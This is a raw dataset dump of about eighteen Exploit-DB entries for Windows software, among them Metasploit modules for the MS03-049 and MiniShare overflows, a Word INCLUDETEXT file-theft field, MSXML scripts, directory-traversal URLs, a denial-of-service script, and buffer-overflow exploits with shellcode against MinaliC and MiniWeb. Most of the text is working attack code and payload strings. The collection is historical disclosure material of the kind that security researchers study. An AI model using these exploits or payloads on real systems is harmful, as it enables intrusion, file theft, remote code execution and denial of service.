deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21764
Description: Microsoft Word 95/97/98/2000/2002 / Excel 2002 - INCLUDETEXT Document Sharing File Disclosure
Type: remote
Platform: windows
Date: 2002-08-26
Author: Alex Gantman

Exploit:
source: https://www.securityfocus.com/bid/5586/info

The Microsoft Word and Excel INCLUDETEXT Field Code may be used to insert an arbitrary local file into a document. The INCLUDETEXT Field Code is reported to, under some circumstances, present a security threat.

If the INCLUDETEXT Field Code is included in a document and references a file on the local system of the recipient, then the file will also be included when the document is sent out. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.

The recipient of the malicious document must still pass along the updated version of the document for the attacker to receive the imported local file.

** Reports indicate that using a 'dde' link group field may be able to bypass the functionality of the Microsoft patch for this issue.

Inserting the following field structure into the footer of the last page of the document will steal the contents of c:\a.txt on the target's computer:

{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT }

(The curly braces above represent Microsoft Word field braces.)
Exploit-DB #16378
Description: Microsoft Workstation Service - NetAddAlternateComputerName Overflow (MS03-049) (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ms03_049_netapi.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
				function using the Workstation service in Windows XP.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2003-0812' ],
					[ 'OSVDB', '11461' ],
					[ 'BID', '9011' ],
					[ 'MSB', 'MS03-049' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'DefaultTarget'  => 0,
			'Targets'        =>
				[
					[ 'Windows XP SP0/SP1',
						{
							'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
						}
					],
				],
			'DisclosureDate' => 'Nov 11 2003'))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
			], self.class)
	end

	def exploit

		connect()
		smb_login()

		handle = dcerpc_handle(
			'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
			'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
		)

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		print_status("Building the stub data...")


		name = rand_text_alphanumeric(5000)
		name[3496, 4] = [target.ret].pack('V')
		name[3492, 2] = "\xeb\x06"
		name[3500, 5] = "\xe9" + [-3505].pack('V')
		name[0, payload.encoded.length] = payload.encoded

		stub =
			NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
			NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString(name) +
			NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString('') +
			NDR.long(0) +
			NDR.long(0)

		print_status("Calling the vulnerable function...")

		begin
			dcerpc.call(0x1b, stub)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		rescue => e
			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
				raise e
			end
		end

		# Cleanup
		handler
		disconnect
	end

end
Exploit-DB #30493
Description: Microsoft XML Core Services 6.0 - SubstringData Integer Overflow
Type: remote
Platform: windows
Date: 2007-08-14
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/25301/info

Microsoft XML Core Services is prone to an integer-overflow vulnerability because the application fails to ensure that integer values are not overrun.

Attackers can exploit this issue by enticing unsuspecting users to view malicious web content. Specially crafted scripts could issue requests to MSXML that trigger memory corruption.

Successfully exploiting this issue allows remote attackers to corrupt heap memory and execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 

//var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
//xmlDoc.loadXML("<dummy></dummy>");
//var txt = xmlDoc.createTextNode("huh");
//var out = txt.substringData(1,0x7fffffff);
Exploit-DB #7196
Description: Microsoft XML Core Services DTD - Cross-Domain Scripting (MS08-069)
Type: remote
Platform: windows
Date: 2008-11-23
Author: Jerome Athias

Exploit:
<html>
<body>
KB955218 - CVE-2008-4029 - JA
<script type="text/javascript">
var dom = new ActiveXObject("Msxml2.DOMDocument.3.0");
dom.async = false;
var url = "http://www.milw0rm.com/forfun.dtd";
var xml = "<!DOCTYPE pwn SYSTEM '" + url + "'>";
if (dom.loadXML(xml) == 0)
{
	alert("Blue or Red Pill? " + dom.parseError.srcText);
}
</script>
</body>
</html>

# milw0rm.com [2008-11-23]
Exploit-DB #31345
Description: Microworld eScan Server 9.0.742 - Directory Traversal
Type: remote
Platform: windows
Date: 2008-03-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/28127/info

MicroWorld eScan Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to access arbitrary files outside of the FTP server root directory. This can expose sensitive information that could help the attacker launch further attacks.

eScan Server 9.0.742.98 is vulnerable to this issue; other versions may also be affected.

ftp://SERVER:2021//windows/win.ini
Exploit-DB #51917
Description: minaliC 2.0.0 - Denied of Service
Type: remote
Platform: windows
Date: 2024-03-22
Author: Fernando Mengali

Exploit:
#!/usr/bin/perl


use Socket;

# Exploit Title: minaliC 2.0.0 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 03 january 2024
# Vendor Homepage: http://minalic.sourceforge.net/
# Notification vendor: No reported
# Tested Version: minaliC 2.0.0
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=R_gkEjvpJNw

#1. Description

#This technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data via method GET to web server.
#The following request sends a large amount of data to the web server to process across method GET, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... \n";

my $junk = "\x41" x 245;

my $host = "\x41" x 135;
my $i=0;
while ($i <= 3) {
my $buf = "GET /" . $junk . " HTTP/1.1\r\n" . "Host: " . $host . "\r\n\r\n";

my $sock;
socket($sock, AF_INET, SOCK_STREAM, 0) or die "[-] Could not create socket: $!\n";

my $addr = sockaddr_in($port, inet_aton($ip));
connect($sock, $addr);

send($sock, $buf, length($buf), 0);

$i++;

}

    print "[+] Done - Exploited success!!!!!\n\n";
  
   sub intro {
      print "***************************************************\n";
      print "*       minaliC 2.0.0 - Denied of Service         *\n";
      print "*                                                 *\n";
      print "*            Coded by Fernando Mengali            *\n";
      print "*                                                 *\n";
      print "*      e-mail: fernando.mengalli\@gmail.com       *\n";
      print "*                                                 *\n";
      print "***************************************************\n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       \nUsage: $0 <ip> <port>                 \n";
        exit(-1);

      }
  }
Exploit-DB #15333
Description: MinaliC WebServer 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2010-10-27
Author: John Leitch

Exploit:
------------------------------------------------------------------------
Software................MinaliC Webserver 1.0
Vulnerability...........Directory Traversal
Download................http://sourceforge.net/projects/minalic/
Release Date............10/24/2010
Tested On...............Windows XP
------------------------------------------------------------------------
Author..................John Leitch
Site....................http://www.johnleitch.net/
Email...................john.leitch5@gmail.com
------------------------------------------------------------------------

--Description--
A directory traversal vulnerability in MinaliC Webserver 1.0 can be
exploited to read files outside of the webroot directory.


--Exploit--
..%2f
..%5c


--PoC--
http://localhost:8080/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://localhost:8080/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini
Exploit-DB #15336
Description: MinaliC WebServer 1.0 - Remote Source Disclosure / File Download
Type: remote
Platform: windows
Date: 2010-10-27
Author: Dr_IDE

Exploit:
###################################################################
#
# MinaliC Webserver 1.0 Remote Source Disclosure/File Download
# Found By: 	Dr_IDE
# Date:     	October 27, 2010
# Download:	    http://sourceforge.net/projects/minalic/
# Tested on:    Windows 7
# Greets:		edb team & John Leitch for finding the app
#
###################################################################
 
- Description -
 
MinialiC Webserver v1.0 is a Windows based HTTP server. This is the latest
version of the application available.
 
MinialiC Webserver v1.0 is vulnerable to common remote source disclosure attacks.
 
- Technical Details - (This is with Directory browsing = Off)
 
http://[ webserver IP][:port][/.../]index.html    (Source Disclosure)
http://[ webserver IP][:port][/.../]logo.bmp      (File Download)

http://localhost:8080/.../index.html
 
#[pocoftheday.blogspot.com]
Exploit-DB #17578
Description: MinaliC WebServer 2.0 - Remote Source Disclosure
Type: remote
Platform: windows
Date: 2011-07-27
Author: X-h4ck

Exploit:
# Exploit Title : MinaliC Webserver v2.0 Remote Source Disclosure
# Software link : http://sourceforge.net/projects/minalic/
# Version       : 2.0
# Tested on     : Windows 7 (Home Premium)
# Date          : 27/07/2011
# Author        : X-h4ck
# Website       : http://www.pirate.al , http://theflashcrew.blogspot.com
# Email         : mem001@live.com
# Greetz        : mywisdom - Wulns~ - Danzel - IllyrianWarrior - Ace - M4yh3m - Saldeath - bi0 - Slimshaddy - d3trimentaL - Lekosta - Pretorian - CroSs - Rigon 

(Directory browsing = Off)
http://localhost:8080/.../file.php (html) # Source Disclosure
http://localhost:8080/file.php%20  (html)
Exploit-DB #24958
Description: MinaliC WebServer 2.0.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2013-04-15
Author: superkojiman

Exploit:
#!/usr/bin/env python

# Exploit Title: MinaliC Webserver buffer overflow
# Date: 12 Apr 2013
# Exploit Author: superkojiman - http://www.techorganic.com
# Vendor Homepage: http://minalic.sourceforge.net/
# Version: MinaliC Webserver 2.0.0
# Tested on: Windows XP Pro SP2, English
#
# Description: 
# Remote command execution by triggering a buffer overflow in the GET
# request. 
#

import socket
import struct

# 74 bytes calc.exe from http://code.google.com/p/win-exec-calc-shellcode/
shellcode = (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
"\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30\x8b\x7e\x18\x8b\x5f" +
"\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01\xfe\x8b\x4c\x1f\x24" +
"\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c\x07\x57\x69\x6e\x45" +
"\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c\xae\xff\xd7\xcc"
)

# EIP at offset 245 when minalic.exe is in C:\minalic\bin 
# EBX points directly to the "Host:" value, so we put our shellcode there. 
# JMP EBX @ 0x7C955B47, NTDLL.DLL, Windows XP Pro SP2 English

# Exploit-DB Note:
# ret = struct.pack("<I", 0x77c11f13)     # jmp ebx msvcrt.dll Windows XP SP3 English

junk = "\x41" * 245
ret = struct.pack("<I", 0x7C955B47)
host = "\x90" * 30 + shellcode + "\x90" * 31

buf = "GET /" + junk + ret + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.37.132", 8080))
s.send(buf)
Exploit-DB #23144
Description: minihttp file-sharing for net 1.5 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-09-15
Author: Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/8619/info

It has been reported that WebForums and File-Sharing for NET are prone to a remote directory traversal attack due to insufficient sanitization of user-supplied data. This vulnerability could allow a remote attacker to traverse outside the server root directory by using '/../' character sequences.

Successful exploitation of this issue could allow a remote attacker to gain access to sensitive information. 

http://www.example.com/../user.ini
Exploit-DB #22795
Description: MiniHTTPServer Web Forums Server 1.x/2.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-06-18
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/7955/info

It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process.

http://www.example.com/../../../../autoexec.bat
http://www.example.com/../../../autoexec.bat
http://www.example.com/../../boot.ini
http://www.example.com/../../boot.ini
http://www.example.com/../../../boot.ini
http://www.example.com/../../../boot.ini

Additional directory traversal proof of concepts had been provided by R00tCr4ck <root cyberspy org>:

http://www.example.com/..\..\..\file.ext
http://www.example.com/../../../file.ext
or as encoded format:
http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext
http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext
Exploit-DB #16754
Description: MiniShare 1.4.1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: minishare_get_overflow.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Minishare 1.4.1 Buffer Overflow',
			'Description'    => %q{
					This is a simple buffer overflow for the minishare web
				server. This flaw affects all versions prior to 1.4.2. This
				is a plain stack buffer overflow that requires a "jmp esp" to reach
				the payload, making this difficult to target many platforms
				at once. This module has been successfully tested against
				1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
			},
			'Author'         => [ 'acaro <acaro@jervus.it>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2004-2271'],
					[ 'OSVDB', '11530'],
					[ 'BID', '11620'],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
					'MinNops'  => 64,
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp
					['Windows 2000 SP4 English',     { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp
					['Windows XP SP0-SP1 English',   { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
					['Windows XP SP2 English',       { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
					['Windows 2003 SP0 English',     { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
					['Windows NT 4.0 SP6',           { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
					['Windows XP SP2 German',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
					['Windows XP SP2 Polish',        { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
					['Windows XP SP2 French',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
				],
			'DisclosureDate' => 'Nov 7 2004'))
	end

	def exploit
		uri = rand_text_alphanumeric(target['Rets'][0])
		uri << [target['Rets'][1]].pack('V')
		uri << payload.encoded

		print_status("Trying target address 0x%.8x..." % target['Rets'][1])
		send_request_raw({
			'uri' => uri
		}, 5)

		handler
	end

end
Exploit-DB #4923
Description: Miniweb 0.8.19 - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2008-01-16
Author: Hamid Ebadi

Exploit:
MiniWeb Multiple Vulnerabilities

Introduction
MiniWeb is a mini HTTP server implementation written in C language,
featuring low system resource consumption, high efficiency, good
flexibility and high portability.
It is capable to serve multiple clients with a single thread,
supporting GET and POST methods, authentication, dynamic contents
(dynamic web page and page variable substitution) and file uploading.
MiniWeb runs on POSIX complaint OS, like Linux, as well as Microsoft Windows.
	
vulnerability discovered by : Hamid Ebadi  (ebadi _AT_ bugtraq.ir)

http://www.bugtraq.ir

complete advisory and also source code auditing can be found at :

	http://www.bugtraq.ir/adv/miniweb_persian.pdf  (persian)
	http://www.bugtraq.ir/adv/miniweb_english.pdf  (english)

vulnerable version : MiniWeb 0.8.19 (C)2005 Written by Stanley Huang
http://miniweb.sourceforge.net/
http://sourceforge.net/projects/miniweb

Description:

directory traversals  :

An input validation error in the URL request handling in
mwGetLocalFileName()   function ( http.c)  can  be exploited to
disclose arbitrary files (and also Directory listing)  outside the web
root via directory traversals  attacks via the " /.%2e/" or "/%2e%2e/"
 sequences

Proof of Concept :
Directory listing:
http://127.0.0.1:80/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/

disclose arbitrary files:
http://127.0.0.1:80/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/boot.ini


Heap based buffer overflow vulnerability :

There is also heap based buffer overflow in this web server
The vulnerability is caused due to a boundary error in
_mwProcessReadSocket() function (http.c) when handling HTTP requests.
This can be exploited by sending an overly long, specially crafted
request, which can cause a heap overflow and allow arbitrary code
execution with the privileges of the web service.


Proof of Concept :
GET /AAAA...[3600 - 4000]...AAAA/ HTTP/1.0

Solution:
Edit the source code (for more information see this article)

http://www.bugtraq.ir/adv/miniweb_persian.pdf  (persian)
http://www.bugtraq.ir/adv/miniweb_english.pdf  (english)

Copyright  : http://www.bugtraq.ir

# milw0rm.com [2008-01-16]
Exploit-DB #32923
Description: MiniWeb 0.8.19 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2009-04-16
Author: e.wiZz!

Exploit:
source: https://www.securityfocus.com/bid/34563/info

MiniWeb is prone to a remote buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

/* BoF when requesting URI longer than 120~ */

using System;
using System.IO;
using System.Net;
using System.Text;

namespace idiot
{
    class pf
    {
        static void Main(string[] args)
        {
            Console.Write("Enter host:\n");
            string site = Console.ReadLine();
            string uri = null;
            try
            {
                for (int i = 0; i < 144; i++) { uri += "/"; }
                HttpWebRequest request = (HttpWebRequest)
                    HttpWebRequest.Create(site + uri);
                HttpWebResponse response = (HttpWebResponse)

                    request.GetResponse();

                //any response we get means that exploit failed
                if (response.GetResponseHeader("Content-Lenght") != "a")
                {
                    Console.WriteLine("Exploit failed");
                }

            }
            catch (Exception gayexception)
            {
                Console.WriteLine("Cannot connect");
                Console.WriteLine("{0}", gayexception.Message);
            }
        }
    }
}
Exploit-DB #12580
Description: MiniWebsvr 0.0.10 - Directory Traversal / Listing
Type: remote
Platform: windows
Date: 2010-05-12
Author: Dr_IDE

Exploit:
###################################################################
#
# miniwebsvr v0.0.10 Directory Traversal/Listing Exploits
# Found By:	Dr_IDE
# Date: 	May 12, 2010
# Download:	http://sourceforge.net/projects/miniwebsvr/
# Tested on:	Windows 7
#
###################################################################

- Description -

miniwebsvr v0.0.10 is a Windows based HTTP server. This is the latest
version of the application available.

miniwebsvr v0.0.10 is vulnerable to remote directory traversal attacks. 

- Directory Traversal Technical Details -

http://[ webserver IP][:port]%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./boot.ini
http://[ webserver IP][:port]%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/boot.ini

- Directory Listing Technical Details -

http://[ webserver IP][:port]%20	(This will list out the current directory)

- The two vulnerabilies could be used together for directory walking -

http://[ webserver IP][:port]%c0.%c0./%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]%c0.%c0./%c0.%c0./%20
http://[ webserver IP][:port]%c0.%c0./%20

#[pocoftheday.blogspot.com]